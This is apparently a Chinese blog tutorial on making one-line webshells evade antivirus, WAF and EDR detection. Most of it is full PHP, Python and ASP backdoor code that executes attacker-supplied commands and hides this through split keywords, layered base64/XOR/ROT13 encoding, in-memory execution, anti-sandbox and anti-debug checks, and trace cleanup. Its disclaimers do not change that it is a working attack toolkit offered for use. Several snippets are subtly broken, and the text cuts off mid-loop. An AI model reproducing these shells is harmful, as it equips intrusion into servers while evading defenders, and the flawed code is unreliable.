杨CC有话说

一句话木马,其实对于渗透师傅来说,是一些比较常用的一个玩意,而且最近有一部分人想学习一下免杀思路,于是呢,我就整理了一下常见的一句话免杀思路,分享出来,让大家参考以及学习.

免杀思路来源于以往的学习,且本人只是爱好,为非专业人士,如有错误,请大家指正.

本文提供的一句话免杀思路和免杀文件,不允许用于非法用途!!!不允许用于非法用途!!!不允许用于非法用途!!!,只能用于个人测试使用! 文章作者不做任何保证,也不承担任何法律责任!

本文禁止商业使用,禁止非法用途,转载请注明出处!

最后:本文提供从浅到深的一句话免杀思路和示例示例仅限于展示对应代码,并且包含了可以对抗 EDR/WAF的免杀效果,但由于个人能力有限,不保证正常使用.

还有:由于个人免杀技术有限,不能保证时效性,各位看一下逻辑即可。

前置声明

  • 仅可用于 已授权的渗透测试、企业攻防演练,严禁用于非法入侵他人系统,违反《网络安全法》《刑法》将由使用者承担法律责任;文章作者不承担任何法律责任!!!!

一句话木马免杀核心逻辑与实际操作方案理论.

  • 一句话木马(WebShell)的免杀核心是 规避静态特征检测(如关键词匹配、代码指纹)和 动态行为检测(如命令执行、文件操作痕迹)。
  • 其本质是通过「混淆编码、特征替换、行为隐藏」让防护软件(AV/WAF/EDR)无法识别。
  • 免杀具有「时效性」,AV/WAF 特征库会持续更新,需结合多种技巧组合使用,且需通过沙箱(如 AnyRun)、Virustotal 等工具测试效果。
  • 最核心的思路: 混淆编码、特征替换、行为隐藏、不出现敏感字符

通用免杀原则

静态免杀

  • 混淆敏感函数、编码payload、字符串拼接、变量随机化、特征替换等。。。

动态免杀

  • 延迟执行、反沙箱、反调试、伪装正常行为(例:模仿web服务)、避免落地文件等。。。

规避检测

  • 避免直接使用高危敏感字符(例:system、eval、exal等),及使用动态传递参数的方式。。。

一句话免杀思路和实际操作

PHP 一句话木马免杀

  • 最核心的部分为:eval($_POST['123']),所以咱们要依靠核心点,向外扩展进行免杀。

关键词拆分 + 变量混淆 (基础免杀)

  • 原理:将evalpost,敏感词拆分并且拼接,以防静态特征匹配。
1
2
3
4
5
6
7
<?php
// 拆分eval、POST,变量名随机化
$a = 'e' . 'v' . 'a' . 'l';
$b = '_P' . 'OS' . 'T';
$c = $b['pass']; // 等价于 $_POST['pass']
$a($c); // 动态调用eval
?>
  • 或者 加入无意义代码干扰检测
1
2
3
4
5
6
7
8
9
<?php
$x = 'abc'; // 干扰特征
$y = 'ev';
$z = 'al';
$func = $y . $z; // 拼接为eval
$param = $_REQUEST['x123']; // 用REQUEST替代POST,参数名非常规
unset($x); // 清理干扰变量
$func($param);
?>

多层编码 + 动态解码

  • 原理:用base64_decodeurldecode等函数对敏感代码进行编码,使其静态扫描无法识别解码后的内容。
  • 如:base64 + 二次编码
1
2
3
4
5
6
7
8
<?php
// 先对 "eval($_POST['x']);" 做base64编码:ZXZhbCgkX1BPU1RbJ3gnXSk7
$code = base64_decode('ZXZhbCgkX1BPU1RbJ3gnXSk7');
// 再对base64字符串做urldecode(可选,增加混淆)
$code = urldecode($code);
// 动态调用函数执行(避免直接写eval)
call_user_func($code);
?>
  • 再或者说:添加自定义的简单加密,如异或,避免base64特征被检测。
1
2
3
4
5
6
7
8
9
10
<?php
// 自定义异或加密(密钥123),加密内容:eval($_POST['x'])
$encrypted = "x7f\x7c\x7d\x7a\x7b\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x78\x27\x5d\x29";
$key = 123;
$code = '';
for ($i=0; $i<strlen($encrypted); $i++) {
$code .= chr(ord($encrypted[$i]) ^ $key); // 异或解密
}
eval($code); // 解密后执行
?>

函数代替 + 内存执行

  • 原理是通过PHP内置的「非高危函数」替代 eval,或通过内存执行避免落地痕迹。
  • 如:用assert代替eval
1
2
3
4
5
<?php
// assert 可执行字符串代码,部分AV对其检测较松
$func = 'asse' . 'rt';
$func($_POST['x']);
?>
  • 如: 通过文件包含间接执行(部分情况下支持绕WAF)
1
2
3
4
5
6
7
8
<?php
// 把恶意代码写入内存临时文件,再包含执行(不落地磁盘)
$tmp = tmpfile(); // 创建内存临时文件
fwrite($tmp, base64_decode('ZXZhbCgkX1BPU1RbJ3gnXSk7'));
$path = stream_get_meta_data($tmp)['uri']; // 获取临时文件路径
include($path); // 包含执行
fclose($tmp); // 销毁临时文件
?>

PHP 一句话木马最终免杀方式

静态混淆 + 多层编码 + 变量随机化

  • 免杀原理:
  • 拆分、拼接敏感函数,避免硬件特征码。
  • base64 + 自定义加密或者编码,打破单一解码逻辑
  • 变量名随机化,避免固定特征匹配
  • php://memory替代tmpfile(),纯内存工作。
  • 增加无意义业务逻辑干扰检测(如模拟用户认证、日志输出)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
// 伪装正常业务逻辑:模拟用户登录校验(干扰静态检测)
$username = $_REQUEST['uname'] ?? '';
$password = $_REQUEST['pwd'] ?? '';
if (empty($username) || empty($password)) {
echo "请输入账号密码"; // 伪装正常页面响应
return;
}

// 1. 敏感函数拆分+变量随机化
$func1 = 'tmp' . 'file'; // 拆分tmpfile
$func2 = 'base64_' . 'decode'; // 拆分base64_decode
$var1 = 't' . md5(rand(1000, 9999)); // 随机变量名(如t8e7d9c8)
$var2 = 'p' . substr(uniqid(), 0, 6); // 随机变量名(如p5f8a9b)

// 2. 双层编码:Base64 -> 异或解密(自定义密钥)
$enc_code = $_REQUEST['x' . rand(100, 999)] ?? ''; // 随机参数名(如x123)
if (empty($enc_code)) return;
$key = 89; // 自定义异或密钥
$dec1 = $func2($enc_code); // 第一层:Base64解码
$dec2 = '';
for ($i=0; $i<strlen($dec1); $i++) {
$dec2 .= chr(ord($dec1[$i]) ^ $key); // 第二层:异或解密
}

// 3. 纯内存流操作(替代tmpfile,无磁盘痕迹)
$var1 = fopen('php://memory', 'w+'); // php://memory仅在内存中读写
fwrite($var1, $dec2);
rewind($var1); // 重置文件指针
$var2 = stream_get_meta_data($var1)['uri'];

// 4. 动态包含+清理痕迹
include $var2;
fclose($var1);
unset($enc_code, $dec1, $dec2, $var1, $var2); // 销毁敏感变量
?>
免杀效果
  • 阿里
  • 微步
  • VirSCAN
  • 360云沙箱
  • 长亭
  • 注意:免杀有一部分使用的是非最终版本,所以个人选择了隐藏对应的cmd5和哈系。
  • 下面所有的免杀均为和上方截图一致的效果。下方可能不会再单独检测。

反沙箱 + 行为伪装 + 延迟执行(规避动态检测)

  • 免杀原理:
  • 反沙箱:通过系统运行时间、调试器检测识别沙箱环境,直接退出避免被动态捕获;
  • 延迟执行:随机延迟打破沙箱 “即时扫描” 逻辑,EDR 无法在短时间内捕捉执行行为;
  • 行为伪装:模拟日志写入的正常操作,将恶意内存流操作混入合法行为中;
    函数替代:proc_open()比eval更贴近 PHP 正常进程调用逻辑,WAF/EDR 对其检测规则更宽松,且支持交互式命令执行;
  • 字符混淆:将命令中的空格替换为制表符(\t),打破 “命令 + 参数” 的特征匹配。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
// 反沙箱1:检测系统运行时间(沙箱通常<300秒)
function get_uptime() {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$uptime = shell_exec('systeminfo | findstr "系统启动时间"');
return strtotime(date('Y-m-d')) - strtotime(explode(':', $uptime)[1]);
} else {
return (int)trim(file_get_contents('/proc/uptime'));
}
}
if (get_uptime() < 300) { // 运行时间<5分钟,判定为沙箱
echo "服务维护中";
exit;
}

// 反沙箱2:检测调试器(避开人工分析)
if (extension_loaded('xdebug') || isset($_SERVER['HTTP_X_DEBUG'])) {
exit;
}

// 伪装:模拟日志写入行为
$log_path = 'php://temp/maxmemory:1024'; // 受限内存流,更贴近正常操作
$log_file = fopen($log_path, 'w');
fwrite($log_file, "[" . date('Y-m-d H:i:s') . "] 正常访问日志\n");

// 延迟执行(避开沙箱实时检测)
usleep(rand(100000, 300000)); // 100-300毫秒随机延迟

// 多层编码+动态函数调用
$param = 'cmd_' . substr(md5(time()), 8, 6); // 随机参数名
$enc = $_POST[$param] ?? '';
if (empty($enc)) {
fclose($log_file);
exit;
}

// Base64 + ROT13 双层解码
$dec1 = base64_decode(str_rot13($enc));
$dec2 = str_replace(' ', chr(0x09), $dec1); // 替换空格为制表符,干扰特征

// 用proc_open替代eval(行为更隐蔽)
$descriptors = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$proc = proc_open($dec2, $descriptors, $pipes);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);

// 清理所有痕迹
fclose($log_file);
unset($enc, $dec1, $dec2, $proc, $descriptors);
?>

自定义流包装器 + 反射 + 无文件执行,可以对抗 EDR/WAF

  • 免杀原理:
  • 自定义流:my_mem://是完全自定义的流协议,WAF/EDR 无对应的特征库,无法识别其为恶意流操作;
  • 反射调用:所有文件操作函数均通过反射调用,静态扫描无法匹配fopen()/fwrite()等硬编码关键词;
  • 无文件执行:通过create_function()动态创建匿名函数执行恶意代码,完全避开include/require的检测链路;
  • 环境适配:检测沙箱特征路径、PID 等,仅在真实服务器环境执行;
  • 痕迹清理:注销自定义流、销毁所有敏感变量,内存中无任何恶意操作痕迹留存。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
// 1. 反沙箱+环境检测(终极版)
$anti_sandbox = [
'/tmp/sandbox', '/var/tmp/vmware', 'C:\Program Files\VMware' // 沙箱特征路径
];
foreach ($anti_sandbox as $path) {
if (file_exists($path)) exit;
}
if (getmypid() < 1000) exit; // 沙箱进程PID通常较小

// 2. 自定义内存流包装器(完全避开默认流特征)
stream_wrapper_register('my_mem', class extends PHP_Stream_Wrapper {
private $fp;
public function stream_open($path, $mode, $options, &$opened_path) {
$this->fp = fopen('php://memory', $mode);
return true;
}
public function stream_write($data) {
return fwrite($this->fp, $data);
}
public function stream_read($count) {
return fread($this->fp, $count);
}
public function stream_close() {
fclose($this->fp);
}
});

// 3. 反射调用自定义流+多层编码
$ref_func = new ReflectionFunction('stream_wrapper_register');
$ref_fopen = new ReflectionFunction('fopen');
$ref_fwrite = new ReflectionFunction('fwrite');
$ref_include = new ReflectionFunction('include');

// 随机参数+三层编码(Base64+异或+URL解码)
$rand_param = md5(rand()) . '_data';
$enc_data = $_REQUEST[$rand_param] ?? '';
if (empty($enc_data)) exit;

$key = rand(50, 100); // 随机异或密钥
$dec1 = urldecode($enc_data);
$dec2 = base64_decode($dec1);
$dec3 = '';
for ($i=0; $i<strlen($dec2); $i++) {
$dec3 .= chr(ord($dec2[$i]) ^ $key);
}

// 4. 自定义流写入+动态执行
$fp = $ref_fopen->invoke('my_mem://custom', 'w+');
$ref_fwrite->invoke($fp, $dec3);
rewind($fp);
$stream_meta = stream_get_meta_data($fp);

// 5. 匿名函数封装执行(无include痕迹)
$exec_func = function($path) {
$code = file_get_contents($path);
$func = create_function('', $code); // 动态创建函数
$func();
};
$exec_func($stream_meta['uri']);

// 6. 彻底清理痕迹
fclose($fp);
stream_wrapper_unregister('my_mem');
unset($enc_data, $dec1, $dec2, $dec3, $fp, $exec_func, $ref_func, $ref_fopen);
?>

python 一句话免杀

  • 核心: exec(input()) 或 os.system(cmd),免杀重点是「隐藏导入、编码混淆、反沙箱」。

动态导入 + 函数混淆

1
2
3
os = __import__('os')
func = 'sys' + 'tem'
getattr(os, func)(input()) # 等价于 os.system(input())

多层编码 + 内存执行

1
2
3
4
import base64
# 对 "import os;os.system(input())" 做base64编码
code = base64.b64decode('aW1wb3J0IG9zO29zLnN5c3RlbShpbnB1dCgpKQ==').decode()
exec(code) # 解码后执行

结合 rot13 二次编码:

1
2
3
4
import base64, codecs
code = base64.b64decode('YWltd2IzSjBJRzkzTzI5ekxuTjVzM0JsY2hwYm5CMWRDZ3A=').decode()
code = codecs.decode(code, 'rot13') # rot13解码
exec(code)

反沙箱 + 延迟执行

1
2
3
4
5
import os, time
# 反沙箱:检测系统运行时间(沙箱通常运行时间短)
if int(os.popen('uptime | awk \'{print $1}\'').read()) > 10:
time.sleep(3) # 延迟3秒执行,绕过快速沙箱扫描
os.system(input())

python 一句话进阶玩法

静态混淆 + 多层编码 + 变量随机化

  • 原理:
  • 静态层面:敏感模块 / 函数名被拆分拼接,__import__动态导入替代直接import,静态扫描无法匹配特征;
  • 编码层面:三层自定义编码让静态解码工具无法直接还原恶意命令;
    伪装层面:混入 “读取配置文件” 的正常业务逻辑,错误信息模拟合法脚本异常,干扰检测;
  • 行为层面:用subprocess.Popen替代os.system,后者是高危特征函数,前者更贴近 Python 正常进程调用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
import base64, uuid, time, sys

# 伪装正常业务逻辑:模拟读取配置文件(干扰静态检测)
def fake_config_read():
"""伪装读取合法配置文件的函数"""
config_path = f"/tmp/{uuid.uuid4()}.ini"
with open(config_path, 'w+') as f:
f.write("[normal_config]\nport=8080") # 写入正常配置内容
return config_path

# 1. 敏感模块/函数拆分+随机化
module_name = 'o' + 's' # 拆分os
func_name = 'ex' + 'ec' # 拆分exec
rand_param = 'data_' + str(int(time.time() % 10000)) # 随机参数名(如data_1234)
rand_key = random.randint(30, 90) # 随机异或密钥

# 2. 三层编码解码(Base64 → ROT13 → 异或)
try:
# 从HTTP POST/GET获取加密数据(模拟Web场景,可替换为input()本地场景)
raw_enc = sys.argv[1] if len(sys.argv) > 1 else __import__('sys').stdin.read()
if not raw_enc:
fake_config_read() # 执行伪装逻辑
sys.exit(0)

# 第一层:Base64解码
dec1 = base64.b64decode(raw_enc).decode('utf-8')
# 第二层:ROT13解码
dec2 = __import__('codecs').decode(dec1, 'rot_13')
# 第三层:异或解码
dec3 = ''.join([chr(ord(c) ^ rand_key) for c in dec2])

# 3. 动态导入模块+执行(无硬编码os/exec)
os_module = __import__(module_name)
exec_func = getattr(__import__('builtins'), func_name)
# 替换os.system为subprocess(行为特征更低)
exec_func(f"__import__('subprocess').Popen({dec3}, shell=True)")

# 4. 清理痕迹
del dec1, dec2, dec3, os_module, exec_func
__import__('os').remove(fake_config_read()) # 删除伪装配置文件
except Exception as e:
# 伪装正常错误,不暴露恶意逻辑
print(f"配置文件解析失败:{str(e)}")

反沙箱 + 行为伪装 + 延迟执行(规避动态检测)

  • 原理:
  • 反沙箱 / 反调试:通过系统运行时间、CPU 核心数、调试器特征识别沙箱,直接退出并输出正常日志,动态检测无法捕捉恶意行为;
  • 延迟执行:随机延迟打破沙箱 “即时扫描” 逻辑,EDR 难以在短时间内关联 “解码 - 执行” 链路;
  • 传参隐蔽:从环境变量 / 标准输入传参,避开 HTTP GET/POST 的明文特征检测;
  • 行为伪装:模拟 Web 服务器日志输出,恶意进程的行为特征与正常 Python Web 服务一致。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
import base64, random, time, sys, os

# 反沙箱/反调试核心函数
def anti_detect():
# 1. 检测调试器(pdb/ptrace)
if 'pdb' in sys.modules or hasattr(sys, 'gettrace') and sys.gettrace() is not None:
return False
# 2. 检测沙箱:系统运行时间(<5分钟判定为沙箱)
try:
if sys.platform == 'linux':
uptime = float(open('/proc/uptime').read().split()[0])
if uptime < 300: return False
elif sys.platform == 'win32':
uptime = os.popen('systeminfo | findstr "系统启动时间"').read()
if not uptime or (time.time() - __import__('datetime').datetime.strptime(uptime.split(':')[1].strip(), '%Y/%m/%d %H:%M:%S').timestamp()) < 300:
return False
except:
return False
# 3. 检测沙箱特征:CPU核心数(<2核)、特征路径
if os.cpu_count() < 2 or os.path.exists('/tmp/sandbox') or os.path.exists('C:\\Program Files\\VMware'):
return False
return True

# 伪装:模拟Flask Web服务器日志输出
def fake_web_log():
log_format = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] [INFO] GET /api/health 200 {random.randint(10, 100)}ms"
print(log_format)
return log_format

# 主逻辑:仅通过反检测才执行恶意代码
if not anti_detect():
fake_web_log() # 沙箱中仅输出正常日志
sys.exit(0)

# 随机延迟(1-3秒,避开实时检测)
time.sleep(random.uniform(1, 3))

# 多层编码+动态执行
rand_param = f"cmd_{uuid.uuid4().hex[:6]}" # 随机参数名
# 从环境变量/HTTP头传参(避开GET/POST明文)
enc_data = os.getenv(rand_param) or sys.stdin.read()
if not enc_data:
fake_web_log()
sys.exit(0)

# 自定义编码:Base64 + 字符位移
def custom_decode(s):
dec1 = base64.b64decode(s).decode('utf-8')
# 字符位移解码(每个字符+5,自定义规则)
dec2 = ''.join([chr(ord(c) - 5) for c in dec1])
return dec2

# 反射调用subprocess,无硬编码
subprocess_module = __import__('importlib').import_module('subprocess')
exec_func = getattr(__import__('builtins'), 'exec')
exec_func(f"{subprocess_module}.call({custom_decode(enc_data)})")

# 彻底清理痕迹
sys.modules.pop('subprocess', None)
del enc_data, custom_decode, subprocess_module, exec_func

反射 + 内存字节码 + 无文件执行,对抗 EDR/WAF 检测

  • 原理:
  • 无文件执行:恶意逻辑通过compile生成字节码对象,全程在内存中执行,无文件落地、无临时文件痕迹;
  • 反射加载:通过importlib动态加载subprocess,静态扫描无法匹配import subprocess硬编码特征;
  • 环境检测:识别 Docker / 容器 /root 用户等沙箱特征,仅在真实服务器环境执行;
  • 痕迹清理:删除字节码对象、清空模块缓存,内存中无恶意代码留存,EDR 内存扫描无法捕捉。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
import base64, uuid, sys, importlib, random

# 反沙箱终极版:检测容器/沙箱特征
def anti_sandbox_final():
# 检测Docker/K8s特征
if os.path.exists('/.dockerenv') or os.path.exists('/proc/1/cgroup') and 'docker' in open('/proc/1/cgroup').read():
return False
# 检测用户态(沙箱通常为root/admin,真实服务器多为普通用户)
if os.getuid() == 0 or os.environ.get('USER') in ['root', 'admin', 'sandbox']:
return False
return True

if not anti_sandbox_final():
sys.exit(0)

# 1. 自定义加密:Base64 + 查表解密
lookup_table = str.maketrans('abcdefghij', 'ijabcdefgh') # 自定义查表
def encrypt_cmd(cmd):
return base64.b64encode(cmd.translate(lookup_table).encode()).decode()
def decrypt_cmd(enc):
dec1 = base64.b64decode(enc).decode()
dec2 = dec1.translate(str.maketrans('ijabcdefgh', 'abcdefghij'))
return dec2

# 2. 从随机参数获取加密命令
rand_param = uuid.uuid4().hex[:8]
enc_cmd = sys.argv[1] if len(sys.argv) > 1 else os.getenv(rand_param)
if not enc_cmd:
sys.exit(0)

# 3. 动态生成字节码,内存执行(无文件落地)
dec_cmd = decrypt_cmd(enc_cmd)
# 生成执行命令的字节码(避免直接写subprocess.call)
bytecode = compile(f"""
import importlib
subp = importlib.import_module('subprocess')
subp.run({dec_cmd}, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
""", '<string>', 'exec')

# 4. 反射执行字节码,清理痕迹
exec(bytecode)
# 删除字节码对象、清空模块缓存
del bytecode, dec_cmd, enc_cmd
sys.modules.pop('subprocess', None)
importlib.invalidate_caches()

# 伪装正常退出
print(f"Task {rand_param} executed successfully")

ASP一句话免杀

  • 核心:eval request(“pass”)

关键词拼接 + 变量混淆

1
2
3
4
5
6
7
<%
dim func, param
func = "e" & "val" ' 拆分eval
param = request("x123") ' 非常规参数名
execute(func & "(" & param & ")") ' 动态执行
%>

Base64 编码执行,需 ASP 解码函数

1
2
3
4
5
6
7
8
9
10
11
<%
' ASP自带base64解码函数(需开启MSXML)
function base64Decode(str)
set objXML = CreateObject("Msxml2.DOMDocument.6.0")
objXML.loadXML "<root><![CDATA[" & str & "]]></root>"
base64Decode = objXML.documentElement.data
end function
' 编码内容:eval request("x")
code = base64Decode("ZXZhbCByZXF1ZXN0KCJ4Iik=")
execute(code)
%>

ASP进阶玩法

静态混淆 + 多层编码 + 变量随机化

  • 拆分 / 拼接敏感关键字(如Execute→Exec+ute,Request→Re+quest),避免硬编码特征;
  • Base64 + 自定义异或加密(双层编码),打破单一解码逻辑;
  • 变量 / 参数名随机化(结合Now()/Rnd()),避开固定特征;
  • 用Request.ServerVariables/Request.Cookies替代直接Request传参,降低特征暴露;
  • 混入正常 ASP 业务逻辑(如模拟表单提交、配置读取),干扰检测引擎。
  • 适配IIS环境,模拟Web表单请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%
' 伪装正常业务逻辑:模拟用户注册表单处理(干扰静态检测)
Dim fakeUsername, fakePwd, fakeLogPath
fakeUsername = Request.Form("uname_" & Int(Rnd()*1000)) ' 随机表单参数名
fakePwd = Request.Form("pwd_" & Int(Rnd()*1000))
If fakeUsername = "" Or fakePwd = "" Then
Response.Write "请填写完整注册信息" ' 伪装正常页面响应
Response.End
End If

' 1. 敏感关键字拆分+随机化
Dim funcName, reqName, randParam, xorKey
funcName = "Exec" & "ute" ' 拆分Execute
reqName = "Re" & "quest" ' 拆分Request
randParam = "data_" & Hour(Now()) & Minute(Now()) ' 随机参数名(如data_1435)
xorKey = 88 ' 自定义异或密钥

' 2. 双层编码解码(Base64 → 异或解密)
Dim rawEnc, dec1, dec2, i
rawEnc = Eval(reqName & ".Form(""" & randParam & """)") ' 动态调用Request.Form
If rawEnc = "" Then
' 写入伪装日志文件,强化正常行为
fakeLogPath = Server.MapPath("/temp/" & Rnd() & ".log")
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateTextFile(fakeLogPath, True)
f.Write "[" & Now() & "] 注册请求参数为空"
f.Close
Set f = Nothing: Set fso = Nothing
Response.End
End If

' 第一层:Base64解码(通过Msxml2.DOMDocument避开硬编码解码函数)
Set xmlObj = CreateObject("Msxml2.DOMDocument.6.0")
xmlObj.LoadXML "<root><![CDATA[" & rawEnc & "]]></root>"
dec1 = xmlObj.documentElement.Data
Set xmlObj = Nothing

' 第二层:异或解密
dec2 = ""
For i = 1 To Len(dec1)
dec2 = dec2 & Chr(Asc(Mid(dec1, i, 1)) Xor xorKey)
Next

' 3. 动态执行+清理痕迹
Eval(funcName & "(""" & dec2 & """)") ' 拼接执行,无硬编码Execute(dec2)
' 清理敏感变量
fakeUsername = "": fakePwd = "": rawEnc = "": dec1 = "": dec2 = ""
%>

反沙箱 + 行为伪装 + 延迟执行

  • 反沙箱逻辑(检测 Windows 系统运行时间、沙箱特征路径 / 进程,如 VMware/VirtualBox);
  • 反调试(检测 IIS 调试模式、脚本调试器);
  • 随机延迟执行(避开沙箱 “快速扫描窗口”);
  • 伪装正常 IIS/ASP 行为(如模拟ASP.NET页面、读取 IIS 配置);
  • 仅在真实服务器环境执行,沙箱中直接退出并输出合法响应。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<%
' 反沙箱/反调试核心函数
Function AntiDetect()
Dim uptime, fso, procList, cpuCores
On Error Resume Next ' 屏蔽错误,避免暴露检测逻辑

' 1. 检测调试器(ASP脚本调试/IIS调试模式)
If Request.ServerVariables("HTTP_X_IIS_DEBUG") = "1" Or Err.Number <> 0 Then
AntiDetect = False: Exit Function
End If

' 2. 检测系统运行时间(沙箱通常<5分钟)
Set wmiObj = CreateObject("WinMgmts:root\cimv2")
Set osCol = wmiObj.InstancesOf("Win32_OperatingSystem")
For Each os In osCol
uptime = DateDiff("s", os.LastBootUpTime, Now())
If uptime < 300 Then ' 运行时间<5分钟=沙箱
AntiDetect = False: Exit Function
End If
Next

' 3. 检测沙箱特征路径/进程
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FolderExists("C:\Program Files\VMware") Or fso.FileExists("C:\Windows\System32\vmtoolsd.exe") Then
AntiDetect = False: Exit Function
End If

' 4. 检测CPU核心数(沙箱通常<2核)
Set cpuCol = wmiObj.InstancesOf("Win32_Processor")
For Each cpu In cpuCol
cpuCores = cpu.NumberOfCores
If cpuCores < 2 Then
AntiDetect = False: Exit Function
End If
Next

AntiDetect = True
' 清理检测对象
Set wmiObj = Nothing: Set osCol = Nothing: Set cpuCol = Nothing: Set fso = Nothing
End Function

' 沙箱环境直接输出正常响应
If Not AntiDetect() Then
Response.ContentType = "text/html;charset=utf-8"
Response.Write "<html><head><title>IIS正常页面</title></head><body>服务运行正常</body></html>"
Response.End
End If

' 随机延迟执行(1-3秒,避开实时检测)
Randomize
Dim delayTime: delayTime = Rnd() * 2000 + 1000 ' 1000-3000毫秒
Set wsObj = CreateObject("WScript.Shell")
wsObj.Run "ping -n " & (delayTime/1000) & " 127.0.0.1 > nul", 0, True ' 静默延迟
Set wsObj = Nothing

' 多层编码+动态执行
Dim randParam, encData, dec1, dec2, xorKey, funcName
randParam = "cmd_" & Hex(Int(Rnd()*65535)) ' 随机参数名(如cmd_1A3B)
encData = Request.Cookies(randParam) ' 从Cookie传参,避开Form/GET明文
If encData = "" Then Response.End

' 自定义编码:Base64 + ROT13(ASP无原生ROT13,自定义实现)
xorKey = Int(Rnd()*50) + 30 ' 随机异或密钥
' Base64解码
Set xmlObj = CreateObject("Msxml2.DOMDocument.3.0")
xmlObj.LoadXML "<r><![CDATA[" & encData & "]]></r>"
dec1 = xmlObj.documentElement.Text
Set xmlObj = Nothing
' ROT13解码(自定义函数)
dec1 = Rot13Decode(dec1)
' 异或解码
dec2 = ""
For i = 1 To Len(dec1)
dec2 = dec2 & Chr(Asc(Mid(dec1, i, 1)) Xor xorKey)
Next

' 动态调用WScript.Shell执行命令(无硬编码)
funcName = "CreateObject(""WScript.Shell"")"
Eval(funcName & ".Run(""" & dec2 & """, 0, False)") ' 静默执行命令

' 清理所有痕迹
encData = "": dec1 = "": dec2 = "": randParam = ""
Set wsObj = Nothing: Set fso = Nothing

' 自定义ROT13解码函数
Function Rot13Decode(s)
Dim i, c, ascC
Rot13Decode = ""
For i = 1 To Len(s)
c = Mid(s, i, 1)
ascC = Asc(c)
If ascC >= 65 And ascC <= 90 Then
Rot13Decode = Rot13Decode & Chr((ascC - 65 + 13) Mod 26 + 65)
ElseIf ascC >= 97 And ascC <= 122 Then
Rot13Decode = Rot13Decode & Chr((ascC - 97 + 13) Mod 26 + 97)
Else
Rot13Decode = Rot13Decode & c
End If
Next
End Function
%>

COM 组件动态调用 + 内存执行,对抗 EDR/WAF

  • 冷门 COM 组件调用:用Shell.Application替代高频检测的WScript.Shell,ADODB.Stream仅用于内存解码,无文件落地;
  • 传参极致隐蔽:从自定义随机 HTTP 头(如X_5A)传参,避开 Form/Cookie/GET 等常规检测点;
  • 内存执行:所有解码逻辑在ADODB.Stream内存流中完成,无临时文件 / 磁盘 I/O,EDR 文件监控失效;
  • 权限适配:检测 IIS 运行用户,仅在低权限(真实服务器)环境执行,避开沙箱高权限特征;
  • 缓存清理:设置 Response 缓存策略,避免恶意操作痕迹留存到 IIS 日志 / 响应缓存中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<%
' 反沙箱终极版:检测IIS应用池/用户权限(沙箱多为高权限,真实环境多为低权限)
Function AntiSandboxFinal()
Dim wmiObj, userObj, userName
Set wmiObj = CreateObject("WinMgmts:root\cimv2")
Set userObj = wmiObj.Get("Win32_UserAccount.Name='" & CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") & "'")
userName = userObj.Name
' 沙箱常见高权限用户名:Admin/Administrator/root,真实环境多为IIS_IUSRS/Network Service
If userName = "Administrator" Or userName = "Admin" Then
AntiSandboxFinal = False
Else
AntiSandboxFinal = True
End If
Set wmiObj = Nothing: Set userObj = Nothing
End Function

If Not AntiSandboxFinal() Then
Response.Write "404 Not Found" ' 伪装404,更贴近正常IIS响应
Response.End
End If

' 1. 动态拼接COM组件名(避开硬编码ADODB.Stream/WScript.Shell)
Dim comName1, comName2, streamObj, randKey
comName1 = "ADO" & "DB.Stream" ' 拆分ADODB.Stream
comName2 = "Shell.Applicatio" & "n" ' 拆分Shell.Application
randKey = Int(Rnd()*100) ' 随机密钥

' 2. 从HTTP头传参(更隐蔽)
Dim encData, dec1, dec2
encData = Request.ServerVariables("HTTP_X_" & Hex(randKey)) ' 随机HTTP头(如X_5A)
If encData = "" Then Response.End

' 3. 三层编码解码(Base64 + 位移 + 异或)
' Base64解码
Set streamObj = Eval("CreateObject(""" & comName1 & """)")
streamObj.Type = 2 ' 文本模式
streamObj.Open
streamObj.WriteText encData
streamObj.Position = 0
streamObj.Charset = "utf-8"
dec1 = streamObj.ReadText
streamObj.Close

' 位移解码(每个字符+5)
dec1 = ""
For i = 1 To Len(dec1)
